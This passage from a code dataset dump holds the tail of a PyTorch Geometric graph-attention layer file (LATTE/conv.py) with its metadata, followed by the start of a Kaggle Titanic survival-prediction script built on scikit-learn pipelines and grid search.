self.node_types}) # W_phi.shape (D x F)\n\n if first:\n self.linear_l = nn.ModuleDict(\n {node_type: nn.Linear(in_channels, embedding_dim, bias=True) \\\n for node_type, in_channels in in_channels_dict.items()}) # W.shape (F x D_m)\n self.linear_r = nn.ModuleDict(\n {node_type: nn.Linear(in_channels, embedding_dim, bias=True) \\\n for node_type, in_channels in in_channels_dict.items()}) # W.shape (F x D_m)\n else:\n self.linear_l = nn.ModuleDict(\n {node_type: nn.Linear(embedding_dim, embedding_dim, bias=True) \\\n for node_type in self.node_types}) # W.shape (F x F)\n self.linear_r = nn.ModuleDict(\n {node_type: nn.Linear(in_channels, embedding_dim, bias=True) \\\n for node_type, in_channels in in_channels_dict.items()}) # W.shape (F x D_m}\n\n self.out_channels = self.embedding_dim // attn_heads\n self.attn_l = nn.ModuleList(\n [nn.Linear(embedding_dim, 1, bias=True) for metapath in self.metapaths])\n self.attn_r = nn.ModuleList(\n [nn.Linear(embedding_dim, 1, bias=True) for metapath in self.metapaths])\n # self.attn_q = nn.ModuleList(\n # [nn.Sequential(nn.Tanh(), nn.Linear(2 * self.out_channels, 1, bias=False)) for metapath in self.metapaths])\n\n if attn_activation == \"sharpening\":\n self.alpha_activation = nn.Parameter(torch.Tensor(len(self.metapaths)).fill_(1.0))\n elif attn_activation == \"PReLU\":\n self.alpha_activation = nn.PReLU(init=0.2)\n elif attn_activation == \"LeakyReLU\":\n self.alpha_activation = nn.LeakyReLU(negative_slope=0.2)\n else:\n print(f\"WARNING: alpha_activation `{attn_activation}` did not match, so used linear activation\")\n self.alpha_activation = None\n\n # If some node type are not attributed, instantiate embeddings for them\n non_attr_node_types = (num_nodes_dict.keys() - in_channels_dict.keys())\n if first and len(non_attr_node_types) > 0:\n if embedding_dim > 256 or sum([v for k, v in self.num_nodes_dict.items()]) > 1000000:\n print(\"INFO: Embedding.device = 'cpu'\")\n self.embeddings = {node_type: nn.Embedding(num_embeddings=self.num_nodes_dict[node_type],\n embedding_dim=embedding_dim,\n sparse=True).cpu() for node_type in non_attr_node_types}\n else:\n self.embeddings = nn.ModuleDict(\n {node_type: nn.Embedding(num_embeddings=self.num_nodes_dict[node_type],\n embedding_dim=embedding_dim,\n sparse=False) for node_type in non_attr_node_types})\n elif embeddings is not None:\n self.embeddings = embeddings\n else:\n self.embeddings = None\n\n self.reset_parameters()\n\n def reset_parameters(self):\n for i, metapath in enumerate(self.metapaths):\n glorot(self.attn_l[i].weight)\n glorot(self.attn_r[i].weight)\n\n # glorot(self.attn_q[-1].weight)\n\n for node_type in self.linear_l:\n glorot(self.linear_l[node_type].weight)\n for node_type in self.linear_r:\n glorot(self.linear_r[node_type].weight)\n for node_type in self.conv:\n glorot(self.conv[node_type].weight)\n\n if self.embeddings is not None and len(self.embeddings.keys()) > 0:\n for node_type in self.embeddings:\n self.embeddings[node_type].reset_parameters()\n\n def forward(self, x_l, edge_index_dict, global_node_idx, x_r=None, save_betas=False):\n \"\"\"\n\n :param x_l: a dict of node attributes indexed node_type\n :param global_node_idx: A dict of index values indexed by node_type in this mini-batch sampling\n :param edge_index_dict: Sparse adjacency matrices for each metapath relation. A dict of edge_index indexed by metapath\n :param x_r: Context embedding of the previous order, required for t >= 2. Default: None (if first order). A dict of (node_type: tensor)\n :return: output_emb, loss\n \"\"\"\n # H_t = W_t * x\n l_dict = self.get_h_dict(x_l, global_node_idx, left_right=\"left\")\n r_dict = self.get_h_dict(x_r, global_node_idx, left_right=\"right\")\n\n # Predict relations attention coefficients\n beta = self.get_beta_weights(x_dict=x_l, h_dict=l_dict, h_prev=l_dict, global_node_idx=global_node_idx)\n # Save beta weights from testing samples\n if not self.training: self.save_relation_weights(beta, global_node_idx)\n\n # Compute node-level attention coefficients\n alpha_l, alpha_r = self.get_alphas(edge_index_dict, l_dict, r_dict)\n\n # For each metapath in a node_type, use GAT message passing to aggregate h_j neighbors\n out = {}\n for node_type in global_node_idx:\n out[node_type] = self.agg_relation_neighbors(node_type=node_type, alpha_l=alpha_l, alpha_r=alpha_r,\n l_dict=l_dict, r_dict=r_dict, edge_index_dict=edge_index_dict,\n global_node_idx=global_node_idx)\n out[node_type][:, -1] = l_dict[node_type]\n # Soft-select the relation-specific embeddings by a weighted average with beta[node_type]\n out[node_type] = torch.bmm(out[node_type].permute(0, 2, 1), beta[node_type]).squeeze(-1)\n\n # Apply \\sigma activation to all embeddings\n out[node_type] = self.embedding_activation(out[node_type])\n\n proximity_loss, edge_pred_dict = None, None\n if self.use_proximity:\n proximity_loss, edge_pred_dict = self.proximity_loss(edge_index_dict,\n alpha_l=alpha_l, alpha_r=alpha_r,\n global_node_idx=global_node_idx)\n return out, proximity_loss, edge_pred_dict\n\n def agg_relation_neighbors(self, node_type, alpha_l, alpha_r, l_dict, r_dict, edge_index_dict, global_node_idx):\n # Initialize embeddings, size: (num_nodes, num_relations, embedding_dim)\n emb_relations = torch.zeros(\n size=(global_node_idx[node_type].size(0),\n self.num_head_relations(node_type),\n self.embedding_dim)).type_as(self.conv[node_type].weight)\n\n for i, metapath in enumerate(self.get_head_relations(node_type)):\n if metapath not in edge_index_dict or edge_index_dict[metapath] == None: continue\n head, tail = metapath[0], metapath[-1]\n num_node_head, num_node_tail = len(global_node_idx[head]), len(global_node_idx[tail])\n\n edge_index, values = LATTE.get_edge_index_values(edge_index_dict[metapath])\n if edge_index is None: continue\n # Propapate flows from target nodes to source nodes\n out = self.propagate(\n edge_index=edge_index,\n x=(r_dict[tail], l_dict[head]),\n alpha=(alpha_r[metapath], alpha_l[metapath]),\n size=(num_node_tail, num_node_head),\n metapath_idx=self.metapaths.index(metapath))\n emb_relations[:, i] = out\n\n return emb_relations\n\n def message(self, x_j, alpha_j, alpha_i, index, ptr, size_i, metapath_idx):\n alpha = alpha_j if alpha_i is None else alpha_j + alpha_i\n # alpha = self.attn_q[metapath_idx].forward(torch.cat([alpha_i, alpha_j], dim=1))\n alpha = self.attn_activation(alpha, metapath_idx)\n alpha = softmax(alpha, index=index, ptr=ptr, num_nodes=size_i)\n alpha = F.dropout(alpha, p=self.attn_dropout, training=self.training)\n return x_j * alpha\n\n def get_h_dict(self, input, global_node_idx, left_right=\"left\"):\n h_dict = {}\n for node_type in global_node_idx:\n if node_type in input:\n if left_right == \"left\":\n h_dict[node_type] = self.linear_l[node_type].forward(input[node_type])\n elif left_right == \"right\":\n h_dict[node_type] = self.linear_r[node_type].forward(input[node_type])\n else:\n h_dict[node_type] = self.embeddings[node_type].weight[global_node_idx[node_type]] \\\n .to(self.conv[node_type].weight.device)\n return h_dict\n\n def get_alphas(self, edge_index_dict, l_dict, r_dict):\n alpha_l, alpha_r = {}, {}\n\n for i, metapath in enumerate(self.metapaths):\n if metapath not in edge_index_dict or edge_index_dict[metapath] is None:\n continue\n head_type, tail_type = metapath[0], metapath[-1]\n alpha_l[metapath] = self.attn_l[i].forward(l_dict[head_type])\n alpha_r[metapath] = self.attn_r[i].forward(r_dict[tail_type])\n return alpha_l, alpha_r\n\n def get_beta_weights(self, x_dict, h_dict, h_prev, global_node_idx):\n beta = {}\n for node_type in global_node_idx:\n # beta[node_type] = self.conv[node_type].forward(h_dict[node_type].unsqueeze(-1))\n if self.first:\n if node_type in x_dict:\n beta[node_type] = self.conv[node_type].forward(x_dict[node_type].unsqueeze(-1))\n else:\n # node_type is not attributed, use h_dict contains self.embeddings in first layer\n beta[node_type] = self.conv[node_type].forward(h_dict[node_type].unsqueeze(-1))\n else:\n beta[node_type] = self.conv[node_type].forward(h_prev[node_type].unsqueeze(-1))\n\n beta[node_type] = torch.softmax(beta[node_type], dim=1)\n return beta\n\n def predict_scores(self, edge_index, alpha_l, alpha_r, metapath, logits=False):\n assert metapath in self.metapaths, f\"If metapath `{metapath}` is tag_negative()'ed, then pass it with untag_negative()\"\n\n # e_pred = self.attn_q[self.metapaths.index(metapath)].forward(\n # torch.cat([alpha_l[metapath][edge_index[0]], alpha_r[metapath][edge_index[1]]], dim=1)).squeeze(-1)\n\n e_pred = self.attn_activation(alpha_l[metapath][edge_index[0]] + alpha_r[metapath][edge_index[1]],\n metapath_id=self.metapaths.index(metapath)).squeeze(-1)\n if logits:\n return e_pred\n else:\n return F.sigmoid(e_pred)\n\n def proximity_loss(self, edge_index_dict, alpha_l, alpha_r, global_node_idx):\n \"\"\"\n For each relation/metapath type given in `edge_index_dict`, this function both predict link scores and computes\n the NCE loss for both positive and negative (sampled) links. For each relation type in `edge_index_dict`, if the\n negative metapath is not included, then the function automatically samples for random negative edges. And, if it\n is included, then computes the NCE loss over the given negative edges. This function returns the scores of the\n predicted positive and negative edges.\n\n :param edge_index_dict (dict): Dict of <relation/metapath>: <Tensor(2, num_edges)>\n :param alpha_l (dict): Dict of <node_type>:<alpha_l tensor>\n :param alpha_r (dict): Dict of <node_type>:<alpha_r tensor>\n :param global_node_idx (dict): Dict of <node_type>:<Tensor(node_idx,)>\n :return loss, edge_pred_dict: NCE loss. edge_pred_dict will contain both positive relations of shape (num_edges,) and negative relations of shape (num_edges*num_neg_edges, )\n \"\"\"\n loss = torch.tensor(0.0, dtype=torch.float, device=self.conv[self.node_types[0]].weight.device)\n edge_pred_dict = {}\n for metapath, edge_index in edge_index_dict.items():\n # KL Divergence over observed positive edges or negative edges (if included)\n if isinstance(edge_index, tuple): # Weighted edges\n edge_index, values = edge_index\n else:\n values = 1.0\n if edge_index is None: continue\n\n if not is_negative(metapath):\n e_pred_logits = self.predict_scores(edge_index, alpha_l, alpha_r, metapath, logits=True)\n loss += -torch.mean(values * F.logsigmoid(e_pred_logits), dim=-1)\n elif is_negative(metapath):\n e_pred_logits = self.predict_scores(edge_index, alpha_l, alpha_r, untag_negative(metapath), logits=True)\n loss += -torch.mean(F.logsigmoid(-e_pred_logits), dim=-1)\n\n edge_pred_dict[metapath] = F.sigmoid(e_pred_logits.detach())\n\n # Only need to sample for negative edges if negative metapath is not included\n if not is_negative(metapath) and tag_negative(metapath) not in edge_index_dict:\n neg_edge_index = negative_sample(edge_index,\n M=global_node_idx[metapath[0]].size(0),\n N=global_node_idx[metapath[-1]].size(0),\n n_sample_per_edge=self.neg_sampling_ratio)\n if neg_edge_index is None or neg_edge_index.size(1) <= 1: continue\n\n e_neg_logits = self.predict_scores(neg_edge_index, alpha_l, alpha_r, metapath, logits=True)\n loss += -torch.mean(F.logsigmoid(-e_neg_logits), dim=-1)\n edge_pred_dict[tag_negative(metapath)] = F.sigmoid(e_neg_logits.detach())\n\n loss = torch.true_divide(loss, max(len(edge_index_dict) * 2, 1))\n return loss, edge_pred_dict\n\n def embedding_activation(self, embeddings):\n if self.activation == \"sigmoid\":\n return F.sigmoid(embeddings)\n elif self.activation == \"tanh\":\n return F.tanh(embeddings)\n elif self.activation == \"relu\":\n return F.relu(embeddings)\n else:\n return embeddings\n\n def attn_activation(self, alpha, metapath_id):\n if isinstance(self.alpha_activation, torch.Tensor):\n return self.alpha_activation[metapath_id] * alpha\n elif isinstance(self.alpha_activation, nn.Module):\n return self.alpha_activation.forward(alpha)\n else:\n return alpha\n\n def get_head_relations(self, head_node_type, to_str=False) -> list:\n relations = [\".\".join(metapath) if to_str and isinstance(metapath, tuple) else metapath for metapath in\n self.metapaths if\n metapath[0] == head_node_type]\n return relations\n\n def num_head_relations(self, node_type) -> int:\n \"\"\"\n Return the number of metapaths with head node type equals to :param node_type: and plus one for none-selection.\n :param node_type (str):\n :return:\n \"\"\"\n relations = self.get_head_relations(node_type)\n return len(relations) + 1\n\n def save_relation_weights(self, beta, global_node_idx):\n # Only save relation weights if beta has weights for all node_types in the global_node_idx batch\n if len(beta) < len(self.node_types): return\n\n self._betas = {}\n self._beta_avg = {}\n self._beta_std = {}\n for node_type in beta:\n with torch.no_grad():\n self._betas[node_type] = pd.DataFrame(beta[node_type].squeeze(-1).cpu().numpy(),\n columns=self.get_head_relations(node_type, True) + [node_type, ],\n index=global_node_idx[node_type].cpu().numpy())\n\n _beta_avg = np.around(beta[node_type].mean(dim=0).squeeze(-1).cpu().numpy(), decimals=3)\n _beta_std = np.around(beta[node_type].std(dim=0).squeeze(-1).cpu().numpy(), decimals=2)\n self._beta_avg[node_type] = {metapath: _beta_avg[i] for i, metapath in\n enumerate(self.get_head_relations(node_type, True) + [node_type])}\n self._beta_std[node_type] = {metapath: _beta_std[i] for i, metapath in\n enumerate(self.get_head_relations(node_type, True) + [node_type])}\n\n def save_attn_weights(self, node_type, attn_weights, node_idx):\n if not hasattr(self, \"_betas\"):\n self._betas = {}\n if not hasattr(self, \"_beta_avg\"):\n self._beta_avg = {}\n if not hasattr(self, \"_beta_std\"):\n self._beta_std = {}\n\n betas = attn_weights.sum(1)\n with torch.no_grad():\n self._betas[node_type] = pd.DataFrame(betas.cpu().numpy(),\n columns=self.get_head_relations(node_type, True) + [node_type, ],\n index=node_idx.cpu().numpy())\n\n _beta_avg = np.around(betas.mean(dim=0).cpu().numpy(), decimals=3)\n _beta_std = np.around(betas.std(dim=0).cpu().numpy(), decimals=2)\n self._beta_avg[node_type] = {metapath: _beta_avg[i] for i, metapath in\n enumerate(self.get_head_relations(node_type, True) + [node_type])}\n self._beta_std[node_type] = {metapath: _beta_std[i] for i, metapath in\n enumerate(self.get_head_relations(node_type, True) + [node_type])}\n\n def get_relation_weights(self):\n \"\"\"\n Get the mean and std of relation attention weights for all nodes\n :return:\n \"\"\"\n return {(metapath if \".\" in metapath or len(metapath) > 1 else node_type): (avg, std) \\\n for node_type in self._beta_avg for (metapath, avg), (relation_b, std) in\n zip(self._beta_avg[node_type].items(), self._beta_std[node_type].items())}\n\n\ndef tag_negative(metapath):\n if isinstance(metapath, tuple):\n return metapath + (\"neg\",)\n elif isinstance(metapath, str):\n return metapath + \"_neg\"\n else:\n return \"neg\"\n\n\ndef untag_negative(metapath):\n if isinstance(metapath, tuple) and metapath[-1] == \"neg\":\n return metapath[:-1]\n elif isinstance(metapath, str):\n return metapath.strip(\"_neg\")\n else:\n return metapath\n\n\ndef is_negative(metapath):\n if isinstance(metapath, tuple) and metapath[-1] == \"neg\":\n return True\n elif isinstance(metapath, str) and \"_neg\" in metapath:\n return True\n else:\n return False\n\n\ndef adamic_adar(indexA, valueA, indexB, valueB, m, k, n, coalesced=False, sampling=True):\n A = SparseTensor(row=indexA[0], col=indexA[1], value=valueA,\n sparse_sizes=(m, k), is_sorted=not coalesced)\n B = SparseTensor(row=indexB[0], col=indexB[1], value=valueB,\n sparse_sizes=(k, n), is_sorted=not coalesced)\n\n deg_A = A.storage.colcount()\n deg_B = B.storage.rowcount()\n deg_normalized = 1.0 / (deg_A + deg_B).to(torch.float)\n deg_normalized[deg_normalized == float('inf')] = 0.0\n\n D = SparseTensor(row=torch.arange(deg_normalized.size(0), device=valueA.device),\n col=torch.arange(deg_normalized.size(0), device=valueA.device),\n value=deg_normalized.type_as(valueA),\n sparse_sizes=(deg_normalized.size(0), deg_normalized.size(0)))\n\n out = A @ D @ B\n row, col, values = out.coo()\n\n num_samples = min(int(valueA.numel()), int(valueB.numel()), values.numel())\n if sampling and values.numel() > num_samples:\n idx = torch.multinomial(values, num_samples=num_samples,\n replacement=False)\n row, col, values = row[idx], col[idx], values[idx]\n\n return torch.stack([row, col], dim=0), values\n\n\ndef negative_sample(edge_index, M: int, N: int, n_sample_per_edge: int):\n num_neg_samples = edge_index.size(1) * n_sample_per_edge\n num_neg_samples = int(min(num_neg_samples, M * N - edge_index.size(1)))\n rng = range(M * N)\n idx = (edge_index[0] * N + edge_index[1]).to('cpu') # idx = N * i + j\n\n perm = torch.tensor(random.sample(rng, num_neg_samples))\n mask = torch.from_numpy(np.isin(perm, idx)).to(torch.bool)\n rest = mask.nonzero().view(-1)\n while rest.numel() > 0: # pragma: no cover\n tmp = torch.tensor(random.sample(rng, rest.size(0)))\n mask = torch.from_numpy(np.isin(tmp, idx)).to(torch.bool)\n perm[rest] = tmp\n rest = rest[mask.nonzero().view(-1)]\n\n row = perm // N\n col = perm % N\n neg_edge_index = torch.stack([row, col], dim=0).long()\n\n return neg_edge_index.to(edge_index.device)\n", "sub_path": "LATTE/conv.py", "file_name": "conv.py", "file_ext": "py", "file_size_in_byte": 28919, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "torch.nn.Module", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 15, "usage_type": "name"}, {"api_name": "copy.deepcopy", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 51, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 56, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 58, "usage_type": "attribute"}, {"api_name": "torch.ones_like", "line_number": 60, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 60, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 106, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 129, "usage_type": "call"}, {"api_name": "torch_geometric.nn.MessagePassing", "line_number": 141, "usage_type": "name"}, {"api_name": "pytorch_lightning.LightningModule", "line_number": 141, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleDict", "line_number": 160, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 160, "usage_type": "attribute"}, {"api_name": "torch.nn.Conv1d", "line_number": 161, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 161, "usage_type": "attribute"}, {"api_name": "torch.nn.ModuleDict", "line_number": 169, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 169, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 170, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 170, "usage_type": "name"}, {"api_name": "torch.nn.ModuleDict", "line_number": 172, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 172, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 173, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 173, "usage_type": "name"}, {"api_name": "torch.nn.ModuleDict", "line_number": 176, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 176, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 177, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 177, "usage_type": "name"}, {"api_name": "torch.nn.ModuleDict", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 179, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 180, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 184, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 185, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 185, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 186, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 186, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 187, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 187, "usage_type": "name"}, {"api_name": "torch.nn.Parameter", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 192, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.nn.PReLU", "line_number": 194, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 194, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 196, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 196, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.nn.ModuleDict", "line_number": 210, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 210, "usage_type": "name"}, {"api_name": "torch.nn.Embedding", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 211, "usage_type": "name"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 223, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 224, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 229, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 231, "usage_type": "call"}, {"api_name": "torch_geometric.nn.inits.glorot", "line_number": 233, "usage_type": "call"}, {"api_name": "torch.bmm", "line_number": 268, "usage_type": "call"}, {"api_name": "torch.zeros", "line_number": 282, "usage_type": "call"}, {"api_name": "torch_geometric.utils.softmax", "line_number": 309, "usage_type": "call"}, {"api_name": "torch.nn.functional.dropout", "line_number": 310, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 310, "usage_type": "name"}, {"api_name": "torch.softmax", "line_number": 350, "usage_type": "call"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 364, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 364, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 380, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 380, "usage_type": "attribute"}, {"api_name": "torch.mean", "line_number": 392, "usage_type": "call"}, {"api_name": "torch.nn.functional.logsigmoid", "line_number": 392, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 392, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 395, "usage_type": "call"}, {"api_name": "torch.nn.functional.logsigmoid", "line_number": 395, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 395, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 397, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 397, "usage_type": "name"}, {"api_name": "torch.mean", "line_number": 408, "usage_type": "call"}, {"api_name": "torch.nn.functional.logsigmoid", "line_number": 408, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 408, "usage_type": "name"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 409, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 409, "usage_type": "name"}, {"api_name": "torch.true_divide", "line_number": 411, "usage_type": "call"}, {"api_name": "torch.nn.functional.sigmoid", "line_number": 416, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 416, "usage_type": "name"}, {"api_name": "torch.nn.functional.tanh", "line_number": 418, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 418, "usage_type": "name"}, {"api_name": "torch.nn.functional.relu", "line_number": 420, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 420, "usage_type": "name"}, {"api_name": "torch.Tensor", "line_number": 425, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 427, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 427, "usage_type": "name"}, {"api_name": "torch.no_grad", "line_number": 455, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 456, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 460, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 461, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 476, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 477, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 481, "usage_type": "call"}, {"api_name": "numpy.around", "line_number": 482, "usage_type": "call"}, {"api_name": "torch_sparse.tensor.SparseTensor", "line_number": 526, "usage_type": "call"}, {"api_name": "torch_sparse.tensor.SparseTensor", "line_number": 528, "usage_type": "call"}, {"api_name": "torch.float", "line_number": 533, "usage_type": "attribute"}, {"api_name": "torch_sparse.tensor.SparseTensor", "line_number": 536, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 536, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 537, "usage_type": "call"}, {"api_name": "torch.multinomial", "line_number": 546, "usage_type": "call"}, {"api_name": "torch.stack", "line_number": 550, "usage_type": "call"}, {"api_name": "torch.tensor", "line_number": 559, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 560, "usage_type": "call"}, {"api_name": "numpy.isin", "line_number": 560, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 560, "usage_type": "attribute"}, {"api_name": "torch.tensor", "line_number": 563, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 564, "usage_type": "call"}, {"api_name": "numpy.isin", "line_number": 564, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 564, "usage_type": "attribute"}, {"api_name": "torch.stack", "line_number": 570, "usage_type": "call"}]} {"seq_id": "281984682", "text": " # Method description\n # Columns \"Name\", \"Ticket\", \"Fare\" and \"Cabin\" dropped. Missing data in \"Age\" column filled with mean age value. \n # Missing data row containing \"NaN\" dropped. Categorical data columns preprocessed with OneHotEncoder. \n # Continuous data columns preprocessed with StandardScaler. \n # FeatureUnion was applied and data set was fitted with a logistic regression classifier with hyper parameter tuning using GridSearchCV. \n # Accuracy score of 0.8090 and roc_auc_score of 0.8521 was obtained from model training with 20% data.\n # Tested several algorithms: logistic regression, linearsvc, KNN and RandomForestClassifier. Latter is found to be the best.\n\nimport pandas as pd \nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nimport os\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.preprocessing import StandardScaler, OneHotEncoder\nfrom sklearn.pipeline import Pipeline, FeatureUnion\nfrom sklearn.model_selection import GridSearchCV, train_test_split\nfrom sklearn.base import BaseEstimator, TransformerMixin\nfrom sklearn.metrics import confusion_matrix, roc_curve, roc_auc_score, accuracy_score\nfrom sklearn.svm import LinearSVC\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\n\nclass FeatureSelector(BaseEstimator, TransformerMixin):\n \"\"\" To select dataframe columns for Pipeline\"\"\"\n # Class Constructor\n def __init__(self, feature_names):\n self.feature_names = feature_names\n\n # Return self nothing else to do here\n def fit(self, X, y=None):\n return self\n \n # Method that describes what we need this transformer to do\n def transform(self, X, y=None):\n if self.feature_names:\n return X[self.feature_names] \n\ndir = os.getcwd()\next = \"Titanic\"\npath = os.path.join(dir, ext)\nos.chdir(path)\n \ndf = pd.read_csv(\"train.csv\", header=0, index_col=\"PassengerId\")\ndf = df.drop(['Name', 'Ticket', 'Fare', 'Cabin'], axis=1)\ndf[\"Age\"].fillna(df[\"Age\"].mean(), inplace=True) # Replace null data with mean \ndf.dropna(axis=0, how='any', inplace=True) # Drop null data row which contain null set in \"Embarked\"\n\nY = df[\"Survived\"]\nX = df.drop([\"Survived\"], axis=1)\n\nX_train, X_test, Y_train, Y_test = train_test_split(X, Y, random_state=42, shuffle=True, test_size=0.1) # Split train.csv into 20% test set\n\ncategoricalFeatures = [\"Pclass\", \"Sex\", \"Embarked\"]\ncontinuousFeatures = [\"Age\", \"SibSp\", \"Parch\"]\n\ncategoricalPipeline = Pipeline(steps=[\n (\"categoricalSelector\", FeatureSelector(feature_names=categoricalFeatures)),\n (\"oneHotEncoder\", OneHotEncoder(drop=\"first\", sparse=False, dtype=np.int)) # Labelencoder is already included in OneHotEncoder with new update\n ])\n\ncontinuousPipeline = Pipeline(steps=[\n (\"continuousSelector\", FeatureSelector(feature_names=continuousFeatures)), \n ('scaler', StandardScaler())\n ])\n\nunionPipeline = FeatureUnion(transformer_list=[\n (\"continuousPipeline\", continuousPipeline),\n (\"categoricalPipeline\", categoricalPipeline)\n ])\n\nmainPipeline = Pipeline(steps=[\n (\"mainPipeline\", unionPipeline),\n # (\"model\", LogisticRegression(penalty='l2', C=1.0, solver='liblinear', l1_ratio=None))\n # (\"model\", LinearSVC(C=1.0, penalty=\"l2\"))\n (\"model\", RandomForestClassifier(n_estimators=10, random_state=42))\n # (\"model\", KNeighborsClassifier(n_neighbors=5, algorithm=\"auto\"))\n ])\n\n# paramsLogReg = {'model__C': [0.001, 0.01, 0.1, 1, 10, 100, 1000]} # For logistic regression and liner SVC\nparamsRFC = {\"model__n_estimators\": [100, 200, 300],\n \"model__max_depth\": [i for i in range(5, 100, 5)]\n }\n# paramsKnn = {'model__n_neighbors': [i for i in range(1, 31, 1)]}\nclf = GridSearchCV(mainPipeline, param_grid=paramsRFC, cv=3, verbose=1)\nclf.fit(X_train, Y_train) \nscore = clf.score(X_test, Y_test)\nY_pred = clf.predict(X_test)\nprint(score)\n\n# # ROC curve for logistic regression\n# Y_pred_prob = clf.predict_proba(X_test)[:, 1]\n# fpr, tpr, thresholds = roc_curve(Y_test, Y_pred_prob)\n# fig, ax = plt.subplots(1, 1, sharex=False, sharey=False)\n# sns.set_style(\"whitegrid\")\n# ax.plot(fpr, tpr, label='Logistic Regression')\n# ax.plot([0, 1], [0, 1], 'k--')\n# ax.set_xlabel(\"False Positive Rate\")\n# ax.set_ylabel(\"True Positive Rate\")\n# ax.set_title(\"Logistic Regression ROC Curve\")\n\n# # Area under ROC curve\n# rocAreascore = roc_auc_score(Y_test, Y_pred_prob)\n# print(rocAreascore)\n\n# plt.show()\n\n################################################ Predict using actual test data ################################################\n# Perform prediction using actual test data\ndfTest = pd.read_csv(\"test.csv\", header=0, index_col=\"PassengerId\")\ndfTest = dfTest.drop(['Name', 'Ticket', 'Fare', 'Cabin'], axis=1)\ndfTest.fillna(dfTest[\"Age\"].mean(), inplace=True)\n\nY_testFinal = clf.predict(dfTest) # Does not need to manually preprocess test data separately. clf.predict puts test data through similar pipeline\n\n# Output test result for Kaggle submission\ndfTest[\"Survived\"] = Y_testFinal\ndfTest = dfTest.filter(items=[\"Survived\"], axis=1)\ndfTest.to_csv(\"TitanicSubmission.csv\", 